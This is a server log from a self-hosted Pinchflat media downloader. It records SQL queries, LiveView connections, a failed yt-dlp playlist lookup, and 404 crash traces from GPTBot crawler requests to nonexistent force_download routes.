AS m0 ORDER BY m0."name" [] 23:13:04.480 [debug] QUERY OK source="settings" db=0.2ms idle=1164.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:04.481 [debug] QUERY OK source="settings" db=0.2ms idle=863.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:04.481 [debug] QUERY OK source="settings" db=0.1ms idle=325.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:04.482 [debug] QUERY OK source="settings" db=0.2ms idle=323.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:04.483 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:04.486 [info] Sent 200 in 7ms 23:13:04.486 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "FQo1FSRLFQosLFo2ITF6BRgrTWIxIFI2ZCowe8FCkC0xHy3WBZy6Cd4s", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:13:04.492 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 23:13:04.494 [debug] QUERY OK source="sources" db=0.9ms idle=12.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:13:04.496 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:13:04.497 [debug] Replied in 4ms 23:13:04.499 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:13:04.500 [debug] Replied in 162µs 23:13:05.077 [info] CONNECTED TO Phoenix.LiveView.Socket in 229µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CiBuNBceMCEiGkcbBQwPPBYjRx0hCD4TEi4VVmcheu-UlDFnLRsISLXV", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:13:05.224 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:13:05.224 [debug] Replied in 192µs 23:13:27.559 [info] POST /sources 23:13:27.560 [debug] Processing with PinchflatWeb.Sources.SourceController.create/2 Parameters: %{"_csrf_token" => "CiBuNBceMCEiGkcbBQwPPBYjRx0hCD4TEi4VVmcheu-UlDFnLRsISLXV", "download_cutoff_date_preset" => "", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "Custom Downloads", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "1440", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://www.youtube.com/watch?v=LhV-ltzpGW8&list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 23:13:27.561 [debug] QUERY OK source="media_profiles" db=0.5ms idle=897.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:13:27.562 [debug] QUERY OK source="settings" db=0.1ms idle=50.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:27.562 [debug] QUERY OK source="settings" db=0.2ms idle=51.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:27.562 [debug] QUERY OK source="settings" db=0.1ms idle=51.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:27.564 [debug] QUERY OK source="settings" db=0.5ms idle=52.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:27.565 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:27.569 [info] Sent 200 in 10ms 23:13:27.746 [info] CONNECTED TO Phoenix.LiveView.Socket in 58µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "JSA1VSg8K3hxWFtjEzw-KhICYB4bdj8wjio7iOx1671-ztwxHsTJi2Yu", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:13:27.787 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:13:27.787 [debug] Replied in 177µs 23:13:29.042 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:32.400 [info] GET /sources/1/media/4/force_download 23:13:32.401 [debug] QUERY OK source="settings" db=0.1ms idle=1729.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:32.401 [debug] QUERY OK source="settings" db=0.0ms idle=890.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:32.401 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:13:32.401 [error] #PID<0.2726.0> running PinchflatWeb.Endpoint (connection #PID<0.2725.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/4/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 53152}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/4", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2726.0>, params: %{}, path_info: ["sources", "1", "media", "4", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/4"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/4/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDiyneNFNSaYIkAAA4C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 53152}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/4", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 53152}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/4", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2726.0>, params: %{}, path_info: ["sources", "1", "media", "4", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logg (truncated) 23:13:50.881 [info] POST /sources 23:13:50.881 [debug] Processing with PinchflatWeb.Sources.SourceController.create/2 Parameters: %{"_csrf_token" => "JSA1VSg8K3hxWFtjEzw-KhICYB4bdj8wjio7iOx1671-ztwxHsTJi2Yu", "download_cutoff_date_preset" => "", "source" => %{"cookie_behaviour" => "disabled", "custom_name" => "Custom Downloads", "download_cutoff_date" => "", "download_media" => "true", "fast_index" => "false", "index_frequency_minutes" => "1440", "max_duration_seconds" => "", "media_profile_id" => "1", "min_duration_seconds" => "", "original_url" => "https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj", "output_path_template_override" => "", "retention_period_days" => "", "title_filter_regex" => ""}} Pipelines: [:browser] 23:13:50.882 [debug] Running yt-dlp command for action: get_source_details 23:13:50.884 [debug] QUERY OK source="settings" db=0.2ms idle=1372.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:50.884 [debug] QUERY OK source="settings" db=0.1ms idle=1372.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:50.884 [debug] QUERY OK source="settings" db=0.2ms idle=1373.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:50.884 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/2a/03/2a03603e8728b74558bb100b6b7775a33bb02f7ff7fe6fe0adc81f7ab95c97a3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:13:51.678 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/2a/03/2a03603e8728b74558bb100b6b7775a33bb02f7ff7fe6fe0adc81f7ab95c97a3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube:tab] YouTube said: The playlist does not exist. ERROR: [youtube:tab] PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj: YouTube said: The playlist does not exist. 23:13:51.679 [debug] QUERY OK source="media_profiles" db=0.2ms idle=967.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 23:13:51.679 [debug] QUERY OK source="settings" db=0.0ms idle=795.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:51.679 [debug] QUERY OK source="settings" db=0.0ms idle=795.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:51.679 [debug] QUERY OK source="settings" db=0.0ms idle=795.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:51.680 [debug] QUERY OK source="settings" db=0.0ms idle=168.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:51.680 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:13:51.681 [info] Sent 200 in 800ms 23:13:51.867 [info] CONNECTED TO Phoenix.LiveView.Socket in 61µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Cj4oDw4eASMQIgl6Ch8_PAgZZAUDHA0UEwrmOmRjWMc4cWvnRhPQqXkQ", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:13:51.984 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:13:51.984 [debug] Replied in 178µs 23:13:59.044 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.028 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:29.046 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:34.031 [info] GET /sources/1/media/5/force_download 23:14:34.032 [debug] QUERY OK source="settings" db=0.4ms idle=1235.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:34.033 [debug] QUERY OK source="settings" db=0.2ms idle=521.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:34.033 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:14:34.034 [error] #PID<0.2741.0> running PinchflatWeb.Endpoint (connection #PID<0.2740.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/5/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2740.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 53352}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: 